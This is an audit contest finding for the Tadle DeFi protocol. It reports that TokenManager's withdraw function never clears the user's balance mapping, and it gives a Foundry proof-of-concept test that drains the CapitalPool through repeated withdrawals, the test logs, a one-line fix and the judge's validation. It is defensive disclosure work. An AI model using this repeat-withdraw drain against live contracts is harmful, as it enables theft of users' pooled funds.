Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Valid

`TokenManager::withdraw` fails to update `userTokenBalanceMap`, allowing multiple withdrawals and draining `CapitalPool` contract.

Summary

The withdraw function in the TokenManager contract retrieves the amount of tokens claimable by the user from userTokenBalanceMap into the claimAbleAmount variable. This amount is then transferred to the user who calls the withdraw function. However, the function fails to update userTokenBalanceMap after the withdrawal. As a result, users can repeatedly call withdraw to drain the CapitalPool contract until its balance is less than the claimAbleAmount.

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L137-L189

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
@> uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
@> claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
@> payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
@> claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
@> claimAbleAmount
);
}

Vulnerability Details

PoC:

function test_multiple_withdraws_ask_offer_turbo_usdc() public {
// Step 1: `user` creates an ask offer
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
// Step 2: `user2` calls `createTaker` passing the offer address and 500 as points
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.prank(user2);
preMarktes.createTaker(offerAddr, 500);
// `user` now has an amount of sales revenue to withdraw
uint256 userTokenBalanceSalesRevenueBeforeWithdraw = tokenManager.userTokenBalanceMap(
address(user),
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
console2.log("`user` sales revenue BEFORE withdrawal (`TokenManager::userTokenBalanceMap` mapping): ", userTokenBalanceSalesRevenueBeforeWithdraw);
// Log the initial USDC balance of the `CapitalPool` contract
uint256 capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("capitalPool balance before `user` withdrawal: ", capitalPoolBalance);
// Step 3: `user` withdraws
vm.startPrank(user);
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
// At this point, `user` has withdrawn his sales revenue
// But the `userTokenBalanceMap` mapping is not updated after the withdraw
uint256 userTokenBalanceSalesRevenueAfterWithdraw = tokenManager.userTokenBalanceMap(
address(user),
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
console2.log("`user` sales revenue AFTER withdrawal (`TokenManager::userTokenBalanceMap` mapping): ", userTokenBalanceSalesRevenueAfterWithdraw); // The `user` balance is still the same
capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("capitalPool balance after `user` first withdrawal: ", capitalPoolBalance); // `CapitalPool` contract USDC balance diminished
// The `userTokenBalanceMap` mapping not being updated gives the `user` the ability to withdraw again, effectively stealing from the `CapitalPool` contract
// Step 4: `user` withdraws multiple times until the `CapitalPool` contract USDC balance is less than the amount of his sales revenue
// second withdraw
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("capitalPool balance after `user` second withdrawal: ", capitalPoolBalance); // `CapitalPool` contract USDC balance diminished
// third withdraw
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("capitalPool balance after `user` third withdrawal: ", capitalPoolBalance); // `CapitalPool` contract USDC balance diminished
// Balances not belonging to the `user` can be withdrawn by the `user`
deal(address(mockUSDCToken), address(capitalPool), 1e16); // Deposit more USDC to the `CapitalPool` contract
// `user` withdraws again and steals the remaining USDC in the `CapitalPool` contract
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
assertEq(capitalPoolBalance, 0); // `CapitalPool` contract USDC balance is 0
}

Logs:

`user` sales revenue BEFORE withdrawal (`TokenManager::userTokenBalanceMap` mapping): 5000000000000000
capitalPool balance before `user` withdrawal: 17175000000000000
`user` sales revenue AFTER withdrawal (`TokenManager::userTokenBalanceMap` mapping): 5000000000000000
capitalPool balance after `user` first withdrawal: 12175000000000000
capitalPool balance after `user` second withdrawal: 7175000000000000
capitalPool balance after `user` third withdrawal: 2175000000000000

Steps to reproduce the test:

  1. Copy-paste the provided PoC in test/Premarkets.t.sol::PreMarketsTest

  2. Run forge test --mt test_multiple_withdraws_ask_offer_turbo_usdc -vv in the terminal

Impact

CapitalPool token balances drainage.

Tools Used

Manual review

Recommendations

Update the userTokenBalanceMap in the TokenManager::withdraw function

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.